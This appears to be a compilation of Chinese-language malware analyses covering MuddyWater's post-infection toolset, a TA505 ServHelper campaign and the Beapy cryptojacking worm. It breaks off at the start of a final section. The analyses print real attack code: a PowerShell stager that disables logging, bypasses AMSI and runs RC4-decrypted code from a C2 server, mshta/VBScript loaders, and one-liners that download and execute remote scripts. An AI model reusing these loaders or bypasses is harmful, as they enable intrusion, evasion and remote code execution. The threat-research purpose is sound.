此批处理脚本也很有趣,因为它使用echo命令在每个命令结果产生之前就涵盖了标头。这个批处理脚本的标题看起来非常熟悉,在2016年10月我们曾报道过,Clayslide交付文档通过HTTP C2通道传递Helminth后门的过程中也见过类似的批处理脚本(SHA256:903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996),批处理脚本由Helminth后门(SHA256:1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c)发出的HTTP请求下载,如下所示:

GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1
 
Host: update-kernal[.]net
 
Connection: Keep-Alive

在对作为Poison Frog中默认命令的批处理脚本与Helminth后门的批处理脚本进行代码比较后,我们发现它们相似度非常高,如图7所示,有几个标头完全相同,而大多数命令与带有“2>&1”后缀的Helminth命令是相同的,这些命令的输出中有错误。间接说明了这些活动间的关联性。

7.png

图7. Poison Frog C2发布的默认批处理脚本与Helminth Trojan收到的批处理脚本之间的代码比较

未完待续~

简介

MuddyWater是一个APT组织,主要以中东国家的政府机构和电信部门为攻击目标,所染指的国家包括伊拉克、沙特阿拉伯、巴林、约旦、土耳其和黎巴嫩,也包含一些中东附近地区的国家,如阿塞拜疆、巴基斯坦和阿富汗等。

MuddyWater于2017年首次亮相,其间攻陷了众多组织机构,且至今一直处于活跃状态。该威胁团伙于第一阶段所使用的感染手法和诱饵文件已被众多安全机构分析过,我们在之前的文章——《MuddyWater再度扩大影响范围》中对其也有过描述。

然而,感染之后的过程的细节迄今为止还没有被公开过。MuddyWater融合了多种工具和技术来监视并窃取目标受害者的信息,这些工具和技术大部分是由该组织自身在Python、c#和PowerShell中开发的,包括c#和Python的多个下载/执行工具、RAT病毒、SSH Python脚本、以及用于提取凭证和历史记录的多个Python工具,等等。

本报告将对MuddyWater在最初感染后所使用的一系列工具做详细说明,还将阐述攻击工具被部署到受害者系统内部后,用以扰乱调查的欺骗性技术(比如用中文和俄文的字符串,以及伪装成黑客组织 “RXR Saudi Arabia” )。据我们的调查结果,攻击者还犯有OPSEC错误,但由于执法部门正在进行调查,我们将不对这些错误做说明。

工具集分析

在对MuddyWater活动的研究中,我们能够识别出他们所使用的一些工具和脚本,大多数工具都是定制开发的,还有一些则是公开的通用工具。

包括:

· Nihay  –  下载执行工具(C#)

· LisfonService  –  C#RAT

· Client.py  –  Python RAT

· Client-win.py  –  SSH Python脚本

· Rc.py/Rc.exe  –  Python RAT基础

· VBScript和VBA文件

· 第三方脚本(Muddy,Losi Boomber,Slaver reverse tunnel…)

· 以及第二阶段的PowerShell脚本

大多数工具都是Python或PowerShell编写的脚本。MuddyWater使用Py2Exe和PyInstaller将各种具有攻击性的Python脚本编译成可执行文件,以实现可移植性,比如Python脚本“CrackMapExec”、“shootback”和“Lazagne”。

MuddyWater还使用“PS2EXE”将PowerShell脚本转换为可执行文件,并将原始PowerShell代码作为一个Base64编码的字符串嵌入其中。我们注意到,MuddyWater习惯使用PowerShell Reflective DLL注入来部署Metasploit Stageless Meterpreters,32位和64位版本都有。Stageless Meterpreter通常具有“Ext_server_stdapi.x64.dll”,“Ext_server_extapi.x64.dll”和“Ext_server_espia.x64.dll”的扩展名。

Nihay  –  下载执行工具(C#)

名为“Nihay”的工具是一个用C#编写的木马,它的功能相对基础——从硬编码URL(例如https://beepaste[.]io/view/raw/pPCMo1)处下载PowerShell单行命令 ,并将其传递给“cmd.exe /c”。

LisfonService  –  C#RAT

LisfonService会收集受害者的一些基本信息:用户名、域或工作组名称、计算机名称、计算机内部IP地址、操作系统版本、操作系统版本和公共IP地址。LisfonService还会从隐藏真实C2服务器的大量硬编码代理URL中随机选择一个URL,一旦受害者标记成功,则分配给受害者一个编号,稍后将用于从C2请求命令,例如执行PowerShell代码或生成蓝屏。

在反编译的C#代码中,有一个名为“str1”的引用变量,它实际上没有被使用。我们认为它是早期测试阶段的残留,可能是C2的IP地址。

str1 = "http://78.129.222.56:8090/244271232658346635408608084822345041494";

而访问此URL时,它会显示可能是故意留给研究人员的“嘲讽”:

1.png

Client.py  –  Python RAT

我们认为Client.Py是由MuddyWater开发的Python 3.6 RAT,通过利用PyInstaller将其作为编译的Python可执行文件部署在受害计算机上。执行流程如下:

1.收集有关受害者计算机的基本信息:计算机名称,操作系统名称,操作系统版本和用户名。然后将信息发送到C2服务器192.64.86 [.] 174:8980。

2.它支持多个命令,其中一些命令是通过创建临时.VBS文件并调用cscript.exe运行来执行的。所支持的命令能让此RAT实现基本的键盘记录功能,比如窃取Chrome中保存的密码,查杀任务管理器,远程命令执行以及在消息框中显示警报消息。

Client-win.py  –  SSH Python脚本

此Python脚本由PyInstaller编译,利用Python paramiko插件创建到C2的SSH连接。

1.在端口8085上连接到C2的硬编码IP地址(例如104.237.233 [.] 38)并发送字符串“ip”。然后它应该能收到“ip1 :: ip2 :: ip3”形式的IP列表。

2.接着该脚本连接到相同的硬编码IP地址并发送字符串“pw”,从C2获取“pw1 \ npw2 \ npw3”形式的密码列表。

3.最后,它用硬编码用户名列表(如“cisco”、“root”、“admin”),与步骤1中每个ip上接收到的所有密码进行配对,以对SSH会话进行身份验证。

Rc.py/Rc.exe  – 基础Python RAT

rc.py是由PyInstaller编译的Python脚本,由UPX加壳。该脚本接收C2的IP地址作为参数,并在硬编码端口9095上与其连接。它能支持系统上的一些命令来执行收集密码、远程命令执行等动作。

· “kill”自我终止。

· “cd”用于更改当前目录。

· “dopass”用于从Chrome,IE,Mozilla,Opera和Outlook获取凭据。

· “info”提取有关受害者计算机的基本信息:操作系统名称/版本,32位/ 64位,处理器名称,用户名,计算机名称,计算机FQDN,内部IP地址,MAC地址和公共IP地址。

· “shell”从C2接收文件并将它们保存在“C:\ ProgramData”中

· “exec”产生由C2确定的新进程。

除了上述命令之外,它还能调用cmd.exe / c以生成由C2确定的新进程,输出结果始终发送到C2。

VBScript和VBA文件

MuddyWater首选的感染媒介之一是使用武器化的启用宏的Office 97-2003 Word文档,其恶意VBA代码包含Base64编码的payload。

第一个文件是恶意VBScript,第二个文件是Base64编码的payload。VBS调用powershell.exe对第二个文件进行base64解码并调用它,如下所示:

WScript.CreateObject("WScript.Shell").Run "mshta vbscript:Close(Execute(""CreateObject(""""WScript.Shell"""").Run""""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\ProgramData\ZIPSDK\ProjectConfManagerNT.ini))));"""",0 ""))",0

此项技术已经在野外数次发现,我们也是将其归于MuddyWater所为。

第三方脚本

我们在MuddyWater中发现了几个基于“Lazagne”的脚本,第一个名为Losi Boomber,用于从浏览器和Outlook中提取凭据和历史记录。

2.png

Losi Boomber命令行参数

Muddy是另一个基于Lazagne的脚本,负责从邮件客户端和浏览器中提取凭据。

3.png

Muddy的命令行参数

在本例样本中,它能支持以下浏览器:Chrome,IE,Mozilla,Opera和Coccoc,而在邮件客户端方面,它只支持Outlook。

4.png

一些嵌入式导入的Python模块

Slaver.py是一个从“ShootBack”中获取的编译过的Python脚本,用于建立反向tcp隧道。

5.png

Slaver命令行参数

Cr.exe是一个基于CrackMapExec的编译Python脚本,用于凭据收集和横向代码执行。 Mmap.py(被MuddyWaters称为“MapTools”)也基于CrackMapExec并用于相同的目的。

6.png

嵌入式导入Python模块

第二阶段PowerShell脚本

MuddyWater广泛使用PowerShell脚本用于不同的目的:

情况1:获取下一阶段的PowerShell脚本:

If($PSVerSIonTAblE.PSVeRSIon.MAJoR -Ge 3){
$GPS=[ReF].AsSemBLy.GEtTYpE('System.Management.Automation.Utils')."GetFiE`lD"('cachedGroupPolicySettings','N'+'onPublic,Static').GeTVAluE($NulL);
If($GPS['ScriptB'+'lockLogging']){
$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
}ELsE{
[SCriPTBlOCk]."GetFIe`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NUlL,(NeW-OBJECt ColLECTIOnS.GENERIC.HaShSEt[STrInG]))
}
[REf].ASsembly.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SeTVALUE($NUll,$tRuE)};};
[SyStEM.NEt.SerVICEPoINtMaNAGeR]::EXPEct100CONTiNuE=0;$K=[SySteM.TExt.EncoDINg]::ASCII.GetBYtES('mdxg_U(,Q3[;~a20DFhrvO+H-NAnKz!V');
$R={$D,$K=$ArGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-BXOR$S[($S[$I]+$S[$H])%256]}};
$ie=New-Object -COM InternetExplorer.Application;
$ie.Silent=$True;
$ie.visible=$False;
$fl=14;
$ser='http://104.237.233.40:7070';
$t='/admin/get.php';
$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=');
while($ie.busy){
Start-Sleep -Milliseconds 100};
$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;
try {$data=[System.Convert]::FromBase64String($ht)}
catch {$Null}
$iv=$DATA[0..3];
$data=$dATa[4..$DATa.LENGTh];
-joiN[ChaR[]](& $R $DATa ($IV+$K))|IEX

除了禁用PowerShell脚本块日志记录和绕过AMSI(反恶意软件扫描接口)之外,它还使用“InternetExplorer.Application”COM对象从http://104.237.233[.]40:7070/admin/get.php检索HTML内容以进入下一个阶段。有趣的是,它使用了一个硬编码的CloudFlare HTTP标头值:“CF-RAY: oBLKRK3GNKZcBGZeWl+s4ExIaQ0=”。

情况2:我们还确定了MuddyWater的PowerShell原型RAT,它能实现收集用户信息(内部IP地址,用户名,域名,32位/ 64位),RC4加密/解密,Base64编码和解码,

为PowerShell安全设置更改缓存组策略设置(cachedGroupPolicySettings),EnableScriptBlockLogging,EnableScriptBlockInvocationLogging。它还能禁用所有HTTPS SSL证书检查。

在这种情况下,开头被重命名为“km”并直接调用IP为“78.129.139 [.] 134”,端口为“8080”,RC4键设置为“[email protected]#123456_6”的C2:

km -ip 78.129.139.134 -port 8080 -Key [email protected]#123456_6 -Delay 20

情况3:一个名为“Iranicard.exe”的WinRAR SFX(自解压缩存档)。嵌入式SFX预设置脚本是一个MSHTA单行命令,它通过调用一个PowerShell单行命令从“https://dzoz[.]us/js/js.js”处下载并执行PowerShell代码。

Presetup=mshta vbscript:Close(Execute("CreateObject(""WScript.Shell"").run ""powershell.exe -nop -w hidden -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $V.downloadstring('https://dzoz.us/js/js.js');"",0"))

归因,干扰和OPSEC

在我们对MuddyWater活动的分析中,我们发现了多个OPSEC错误,并分析了它所使用的一些干扰技术。在所有OPSEC错误中,很多都是暴露了PDB文件路径。

“dragon”和“Panda”字符串

名为“LisfonService”的.Net RAT具有“dragon”和“Panda”用户名的PDB文件路径。

LisfonService PDB文件路径中的Dragon:

C:\Users\dragon\Documents\Visual Studio 2015\Projects\64\Telegram\LisfonService\obj\Release\LisfonService.pdb
TestService(LisfonService早期版本)中的PandaPDB文件路径:
C:\Users\Panda\Documents\Visual Studio 2010\Projects\TestService\TestService\obj\x86\Release\TestService.pdb

Panda和Dragon的出现很可能是攻击者故意想把嫌疑引向来自中国的威胁行为者,当然也有可能他只是恰好喜欢这两种动物。值得一提的是,在一些PowerShell RAT中,攻击者还将“$ dragon_middle”变量名称用于C2代理URL组。

7.png来自Powershell样本的$ dragon_middle

武器化word文档中的用户名

多武器化的Office Word文档还包含了创作者机器的嵌入路径。Office在会某些情况下嵌入这些路径,比如当某人将二进制对象(如OLE控件,如文本框或命令按钮)添加到Word文档中时。这些PDB能提供如下用户名:poopak,leo,Turk和Vendetta。

C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd
C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd

中文字符串

在一些PowerShell RAT payload例如Ffb8ea0347a3af3dd2ab1b4e5a1be18a)中可以找到多个中文字符串,这些字符串似乎是故意留下的,意在干扰分析人员。

      if (IQQXIJFBIIVIOKFCSXFHBBQFFDMWTL -p "HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -k "MalwareDefenderSDK" -v "wscript $tempPath$filenamePathV" -eq "error"){
           Write-Host "无法访问本地计算机寄存器"
      }
      try{
          schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsMalwareDefenderSDK /TR "wscript $tempPath$filenamePathV" /F
      }
      catch{
          Write-Host "任务计划程序访问被拒绝"
      }
  }
[System.Net.WebResponse] $resp = $webreq.GetResponse();
               if ($resp -ne $null){
                     $data = $resp.GetResponseStream();
                     [System.IO.StreamReader] $res_data = New-Object System.IO.StreamReader $data;
                     [String] $result = $res_data.ReadToEnd();
               }
          }
          catch {
               Write-Host  '无法连接到网址,请等待龙...'
               $result = "error"
          }

俄语字符串,以及冒充“RXR Saudi Arabia”黑客组织

在另一个PowerShell样本(md5:e684aa1c6e51f4696a836ecb6ff1e143,filename:km.ps1)中,攻击者在建立与C2服务器(78.129.139 [.] 134)的连接时使用俄语单词作为RC4密钥。

km -ip 78.129.139.134 -port 8080 -Key [email protected]#123456_6 -Delay 20

此外,IP:78.129.139 [.] 134也用作其他样本的C2。有趣的是,在访问C2时,它显示一个空白网页,其HTML源代码则有一个特殊的HTML标记值,表明攻击者试图冒充一个名为RXR Saudi Arabia的沙特黑客组织。

8.png

结论

近年来,MuddyWater无论在其恶意软件功能上或是攻击目标上都呈现不断扩大的趋势,其手法和工具都相当成熟完善,而对Python和PowerShell的使用,虽然相对简单,但在监视并窃取受害者信息上却十分灵活有效。

也是这种持续进步的能力,能让MuddyWater在不断变化的中东地缘政治局面中持续发展,对分析人员来说,这种挑战也是与时俱进的。我们推测MuddyWater在未来可能会将对0 day漏洞的利用融合到其攻击手段中。不过当前他们的OPSEC并不算完美,还是有些细节会暴露他们的蛛丝马迹。

常年混迹网络安全圈,你可能对网络犯罪分子的一些攻击手法早已不陌生,比如他们为了拓展恶意软件的功能或是使其更难以被检测到,而将之与合法软件相结合使用。而最近Cyberreason的研究人员发现,许多Windows系统进程也会被攻击者们恶意劫持以用于达成他们的目标。

在本文中,我们将介绍黑客团伙TA505于2019年4月对某金融机构进行的一场精心策划的攻击事件,它是一起具有强针对性的网络钓鱼。恶意软件的持久性可根据环境选择是否创建,攻击还利用到了一个称为ServHelper的复杂后门。

TA505的关键特征

· 目标明确——只针对企业内部少数特定账户的进行网络钓鱼。

· 恶意代码经过签名验证——这是为了避免被发现而采取的额外预防措施。

· 精心策划——从攻击的时间点和恶意代码的签名可看出。

· 可选择的持久性机制——基于自动侦查选择是否自毁。

· 去除痕迹——使用自毁命令和销毁脚本来删除证据。

· 多个C2域——以防被列入黑名单或无法连接。

· 集成了四个不同的LOLBin——表明攻击者仍在研究逃避检测手段。

TA505是一个臭名昭著的黑客组织,曾利用多个勒索软件,如Dridex、Locky等进行大规模的敲诈勒索活动。最近,TA505又在北美、亚洲、非洲和南美等多个国家开展了有针对性的攻击行动,主要针对的是大型金融机构,目的是获取有价值的数据,以便日后加以利用。

2019年以来,可以很明显地发现,恶意软件使用最广泛、最有效的攻击载体仍然是电子邮件,此次行动也不例外。但这次目标机构只有少数账户收到了TA505的钓鱼邮件,说明攻击者有可能在行动的早期就进行了侦察工作来选择最佳目标。

恶意软件由Sectigo RSA Code Signing CA签名验证,这是为逃避检测而采取的额外预防措施。此外,恶意软件仅在攻击前几个小时才进行了签署。

但最不寻常一点是,在大多数情况下,恶意软件几乎都会试图获得持久性,而此次行动中的一些工具可依据其环境决定是否创建持久性。这些工具将收集关于目标机器的信息,并将其发送到远程C2服务器,再由C2决定是否设置持久性,这也是一种在较高等级的攻击行动中常用的技术。

攻击者显然非常重视如何掩盖他们的踪迹,恶意软件除了收集信息之外,还能决定是否需要从受感染的电脑上删除证据,这说明攻击者的潜在目标是设置一个尽可能长时间不被发现的后门,以便后续更有效地窃取数据。

恶意软件广泛而多样地使用LOLbin和合法的本地Windows OS进程来执行恶意活动,比如payload的传递和ServHelper后门的实现。ServHelper后门是一个相对较新的恶意软件家族,于2018年底被发现。Cybereason研究人员在过去几个月就注意到了广泛使用LOLbin进行攻击的趋势。

在此次行动中,检测到的ServHelper后门又发生了新的变化,我们将在接下来对其做分析。

分析过程

1.jpg

图1.攻击流程图

第一阶段:获取访问权限

在此阶段,攻击者向目标发送钓鱼邮件。在大约一个小时的时间内,超过80个文件被发送到企业邮箱的40个帐户中。邮件包含带有恶意宏的Microsoft Excel附件。文件打开时会被加载到Microsoft Excel中,并敦促用户启用宏。

2.png

图2.包含宏的恶意.xls文件

当受害者单击Enable Content按钮后,宏命令将被执行并调用Windows OS进程msiexec.exe.。msiexec.exe是windows installer,即一个用于安装、维护和删除软件的Microsoft Windows的软件组件和应用程序编程接口。宏命令将调用msiexec.exe连接到远程C2服务器并下载第一阶段payload,并创建第二个msiexec.exe进程来执行payload,之后进入攻击链的第二阶段。

3.png

图3.调用msiexec.exe与C2服务器通信。

与C2服务器建立TCP连接后,下载的payload名为Alg,它是第二阶段使用的几个文件的dropper。

4.png

图4.从C2服务器下载的恶意软件。

5.png

图5.恶意软件的渗透过程

第二阶段:部署后门

6.jpg图6.第二阶段流程图

下载Alg后,它将作为带有.tmp扩展名的二进制文件加载到msiexec.exe,此临时文件充当恶意软件的主dropper,并在目标计算机上部署恶意软件。

.tmp文件中有三个文件夹,分别包含两个模块pegas.dll、nsExec.dll以及.nsi脚本。

NSIS(Nullsoft 脚本安装系统)是为Windows创建安装程序的合法工具。这说明后缀为.nsi的脚本负责恶意软件安装分相关内容,由于其名称合法,能逃避检测。

7.png

图7..tmp临时文件中的内容

.nsi脚本包含.tmp文件要执行的命令,能指示.tmp文件使用nsExec.dll模块中的函数kest()来操作和执行pegas.dll模块。

8.png

图8.NSIS脚本

在由msiexec.exe加载执行后,.tmp临时文件会创建几个附加文件,其中一个也是临时文件,将加载初始临时文件的内存映射中,但更重要的是它创建的两个模块pegas.dll和nsExec.dll。

9.png

图9.恶意软件创建文件nsexecl .dll

10.png

图10.恶意软件创建文件pegas.dll

此外,它还使用Windows命令行创建一个rundll32.exe进程,以加载植入的pegas .dll模块并用函数kest()执行它。

11.png

图11.rundll32.exe加载pegas.dll的执行命令

12.png

图12.恶意软件部署流程

模块的功能

· NSEXEC.DLL

nsExec.dll模块是用Nullsoft创建的。nsExec.dll将执行基于命令行的程序,在无需开启DOSBox的情况下捕获输出。这样攻击者在执行命令行并运行rundll32.exe进程时不会显示在受害者桌面上。从Windows命令行处执行命令能增加恶意软件的隐秘性。

· PEGAS.DLL

pegas.dll是负责执行所有后门功能的核心模块,内容包括在目标计算机中执行侦察、信息窃取和其他后门功能。此外,该模块还负责与另一个C2服务器通信。(在第三阶段中讲述)

有趣的是,pegas.dll实际上是由认证公司Sectigo RSA Code Signing CA签署并验证的。这并不常见,我们认为这也是高级威胁行为者的标志之一。该认证公司也因出现在上个月的Norsk Hydro LockerGoga 勒索软件攻击事件而闻名。

使用此证书可使恶意软件具备大多数所没有的优势:合法性。“已确认”和“已验证”的恶意软件可能会缩小安全专家专家的调查范围。这表明开发此恶意软件的攻击者要比大多数恶意软件创作者要更先进。

13.png

图13.被滥用的证书

pegas.dll利用了数种防御机制,它被加壳了两次,以确保难以逆向,此外,该模块仅在攻击发生前的几个小时才进行编译。尽管如此,Cybereason防御平台还是收集了与该模块相关的所有数据。

14.png图14.恶意软件两次加壳

rundll32.exe从函数kest()处执行模块pegas.dll。此函数是恶意软件导出表中负责初始执行恶意代码的几个函数之一,导出表中的其他函数分别是loer()和tempora()。

15.png

图15.三个导出函数

这些函数代码和功能方面类似,kest()包含的所有变量也出现在tempora()中。此外,kest()和loer()共享函数FUN_12345f08(),这实际上是loer()拥有的惟一功能。

16.png

图16.在Ghidra中导出函数伪代码

FUN_12345f08()是恶意软件最重要的函数之一,作者通过kest()来执行pegas.dll,以尽快利用FUN_12345f08()。在FUN_12345f08()中有一个新的威胁指标——域名为joisff333.icu的第二个C2,可以从rundll32.exe进程中访问此域,此外还有一个名为“enu.ps1”的字符串,表示此恶意软件会用到PowerShell。最后还会出现字符串asfasga33fafafaaf,这似乎与互斥体BaseNamedObjects \ Global \ asfasga33fafafaaf的创建有关。

17.png

图17.Ghidra中的FUN_13246F08伪代码

使用静态分析,可以从额外的指示字符串中看出恶意软件的一些特性,包括:网络功能、C2命令、其他域和PowerShell执行活动。

18.png

图18.恶意软件的附加指示字符串

检索和信息收集

执行rundll32.exe后,将执行PowerShell脚本enu.ps1,此脚本使用Base64编码,以避免被防病毒产品检测到。

19.png

图19.enu.ps1使用Base64进行模糊处理

在解码脚本时,可以很明显看到该脚本负责收集目标机器上的侦察工作,比如使用WMI查询来收集信息以确定用户是否是管理员。

20.png

图20.通过WMI查询进行内部侦察

ServHelper后门会在目标机器上收集另外一些信息,其中就包括包括用户SID。SID为S-1-5-32-544则是内置管理员组的标识符,包括本地管理员以及所有本地和域管理员用户组。 收集这些信息表明了两件事:恶意软件作者针对的是组织而不是普通的家庭计算机用户,并且在组织中他们针对的是最高优先级的机器。

21.png

图21.搜索管理员用户

一旦恶意软件确认目标计算机是管理员组用户,它将用WindowsIdentity GetCurrent()方法来收集信息。

22.png

图22.继续搜索管理员用户并收集他们的信息

在恶意软件能够验证此用户是管理员之后,它会收集有关目标计算机的其他信息,并检索所有文件系统驱动器上的数据,包括虚拟驱动器。

23.png

图23.收集系统驱动器数据

脚本收集的最后一点信息是服务器的名称和计算机上本地组的名称,它使用net.exe(一个合法的Windows操作系统进程)来收集此信息。

24.png

图24.对本地组管理员进行侦察

恶意软件部署的完整流程树显示了攻击周期四种不同的LOLBin。从大量使用LOLBin的行为和经过签名和验证的模块pegas.dll中我们可以看出,恶意软件作者在竭尽全力逃避检测。

25.png

图25.进程树

第三阶段:动态C2服务器

部署之后,恶意软件从rundll32.exe连接到第二个C2域,通过多个C2域能确保至少有一个C2服务器可用来攻击,在于pegas.dll通信后,C2服务器决定恶意软件执行的下一步骤。

第二个C2服务器根据在目标机器上收集的信息进行响应,从这也能看出恶意软件的复杂性,大多数恶意软件收集并发送数据到一个固定的C2服务器,无论信息如何,它的响应都是相同的,而这里采用了一种更动态的方法。

 26.png

图26.恶意软件与其第二个C2服务器通信

与第二个C2服务器的交互

在与C2域通信的过程中,恶意软件能执行几个关键命令和活动,其中一些活动是我们在之前版本中观察到的。

滥用认证

以下从msiexec.exe中观察到的网络活动说明了恶意软件是如何利用Sectigo RSA Code Signing CA的签名和验证证书进行传播的。

27.png

图27.滥用认证流量

执行侦察

shell命令负责在目标机器上执行net user /domain命令。这个命令是一个远程控制命令,允许攻击者执行额外的侦察活动。

28.png

图28.执行net user /domain命令。

持久性机制

C2服务器决定是否创建持久性,持久性由persist命令负责创建。这是恶意软件复杂度的另一个主要标志,因为恶意软件不会在每台目标计算机上创建持久性,而只会在特定的几台上创建持久性。

 29.png

图29.持久性机制

在C2服务器发送persist命令后,恶意软件使用注册表创建持久性。它在Run下创建一个注册表项Intel Protect,并将pegas.dll存储为值。

 30.png

图30.持久性机制

内部侦察

恶意软件根据它从用户机器上收集的信息来改变自己的行为。此信息存储在数据包中,传递到C2域HTTP Payload,/ URL:/jquery/jquery.php。

该信息分为四个硬编码参数:

· Key:在恶意软件的每次迭代中保持相同的硬编码参数。

· Sysid:有关操作系统,Service Pack和计算机名称的信息。

· Resp:有关用户是否在Active Directory中具有管理员组权限的信息。

· Misc:有关PowerShell文件的其他信息。这是最新的参数,仅在此版本的ServHelper中观察到,包括新加的侦察机制。

 31.png

图31.用于向C2服务器交付信息的四个硬编码字符串

恶意软件对C2域响应的行为变化取决于受感染的机器是否是高优先级目标。当机器不是有价值的目标时,Resp参数将填入“指定的域不存在或无法联系”。

 32.png

图32.恶意软件将结果通知C2服务器(没有AD admin)

如果恶意软件识别出目标计算机是有价值的,它将在Resp参数中填上相关信息,其中包含计算机所具有的组和帐户的名称,例如“Administrator”以及用户名称。

33.png

图33.恶意软件将结果通知C2服务器(有AD admin)

与许多后门恶意软件类似,ServHelper能够在休眠状态下静静的潜伏。这是一种众所周知的后门特性,可以让恶意软件在检测之下存活,并按攻击者规定时间进行攻击。ServHelper使用GetSystemTime()函数获取关于目标机器日期和时间。

 34.png

图34.恶意软件的休眠功能

我们已知恶意软件包含几个与ServHelper相关联的命令,包括:

· loaddl:负责使用rundll32.exe进程下载和执行其他模块的命令。

· selfkill:负责自行终止和删除计算机中的恶意软件的命令。

连接C2服务器的流程下图所示。

 35.png

图35.连接C2服务器的流程

结论

我们在对该恶意软件的分析过程中,发现了最新版本的ServHelper后门,以及用于部署后门的逃避检测技术,还重点介绍了恶意软件是如何使用合法的本机Windows OS进程来执行恶意活动、以在不被检测的情况下交付payload的过程,接着介绍了ServHelper后门是如何在不被注意的情况下操作和部署自身的,同时,我们还展示了这个后门的复杂程度,以及它是如何针对高价值机器的。

受感染的客户能够在造成任何损害之前遏制攻击的发生。前提是能控制ServHelper后门,终止msiexe .exe和rundll32.exe,删除所有下载的文件,还要断掉到恶意C2域的连接,攻击才能停止。

识别此攻击的部分困难在于它的逃避机制。LOLBin是具有欺骗性的,此外使用带有认证的签名和验证文件也会增加恶意软件逃避被检测到的可能性。

而对此次攻击中使用的工具和技术的分析表明,LOLBin在逃避防病毒产品的检测上是多么有效,这也进一步证实了我们自2018年以来看到LOLBin越来越常被用于攻击的趋势,随着2019年的到来,LOLbin的使用频率只会有增无减。

IoC

1.png

自2019年1月以来,赛门铁克研究团队首次发现了一种名为Beapy的Cryptojacking攻击行动。Cryptojacking是一种网络攻击方式,黑客通过在网站中加入恶意代码的方式将挖矿程序植入用户的电脑,非法调用用户的硬件资源进行“挖矿”。Beapy通过利用“永恒之蓝”漏洞和窃取硬编码凭证在网络上快速传播。此次攻击行动主要针对中国的企业,自今年3月初以来一直呈现增长势头。

Beapy (W32.Beapy)是一种基于文件的coinminer,它使用电子邮件作为初始感染载体。在2018年初,Cryptojacking的出现频率曾到达了顶峰,之后就逐渐在走下坡路,但对一些威胁行为者来说,Cryptojacking仍然是他们攻击的重要手段,比如到了2019年,中国企业就成了他们的主要目标。

在Beapy的攻击目标中,几乎所有的受害者都是企业(图1)。Beapy可能是2018年Bluwimps蠕虫(MSH.Bluwimps)攻击趋势的延续,即Cryptojacking的重点开始由对个人转向对企业。虽然当前我们没有证据表明这些攻击是有针对性的,但Beapy的功能表明,它可能是专门为了在企业网络中传播所设计的。

1.png

图1.Beapy的感染程度对比-企业与个人

我们之前在对勒索软件的研究中发现,在2018年,尽管总体勒索软件感染率下降了20%,但企业中的勒索软件感染率却增加了12%。企业似乎越来越成为网络犯罪的焦点。

Beapy对亚洲企业的影响最大,超过80%的受害者在中国,剩下的分布在韩国、日本和越南等地。

2.png

图2.Beapy在不同国家/地区的感染率

感染链

Beapy感染的初始媒介是电子邮件,其中包含了一份恶意Excel文档附件。当用户打开附件后,DoublePulsar后门(Backdoor.Doublepulsar)会被下载到用户机器上。与EternalBlue一样,DoublePulsar也是由Shadow Brokers(黑客组织,曾泄露大批Windows漏洞以及漏洞利用工具)泄露的,并且曾在2017年被用于WannaCry勒索软件攻击行动中。DoublePulsar能在受感染的计算机上打开后门并远程执行代码。EternalBlue则利用Windows SMB协议中的漏洞允许文件在网络中横向传播。

安装DoublePulsar后,就会执行PowerShell命令,并在将coinminer下载到目标计算机之前与Beapy命令和控制(C&C)服务器进行联系。根据我们遥测数据显示,2019年2月15日为检测到的最早迹象,在此样本中,对PowerShell命令解码后发现了以下内容:

IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)

这是与Beapy C&C服务器相连的设备。通过执行一些PowerShell命令下一个载门罗币coinminer。当Beapy传播到网络上的其他计算机时,会重复此过程。

从表面上看,Beapy会先利用未安补丁的机器在网络上立足,然后使用EternalBlue传播到其他机器上去。但对EternalBlue的利用并不是Beapy唯一的传播机制,它还使用凭证窃取工具Hacktool.Mimikatz来从受感染的计算机上收集凭据,并进一步传播到网络中安装了补丁的机器上。Beapy还使用硬编码的用户名和密码列表来尝试跨网络传播,这种方法类似于Bluwimps蠕虫。Bluwimps曾在2017年和2018年间使用coinminers感染了数千台企业机器。

Web服务器

我们还在面向公众的Web服务器上发现了Beapy的早期版本,该蠕虫试图传播到连接到该服务器的计算机,其中一种方法就是生成它试图感染的IP地址列表。

在Web服务器上看到的Beapy是恶意软件的早期版本,用C语言而不是Python编写。早期版本也包含了用于凭据收集的Mimikatz模块,以及EternalBlue漏洞利用功能。

在此版本中,Beapy还试图利用Apache Struts远程执行漏洞(CVE-2017-5638),此漏洞在2017年出了相应补丁,此外,它还利用了Apache Tomcat(CVE-2017-12615)和Oracle WebLogic Server(CVE-2017-10271)中的公开漏洞。在我们观察到的这个web服务器泄露事件中,攻击尝试是从2月初开始的,在3月13日则首次观察到与Beapy的C&C服务器的连接。针对此web服务器的活动一直持续到4月初。

总的来说,Beapy活动自3月初以来一直在增加。

3.png

图3.检测到的Beapy活动呈显著增加趋势

背后的信息

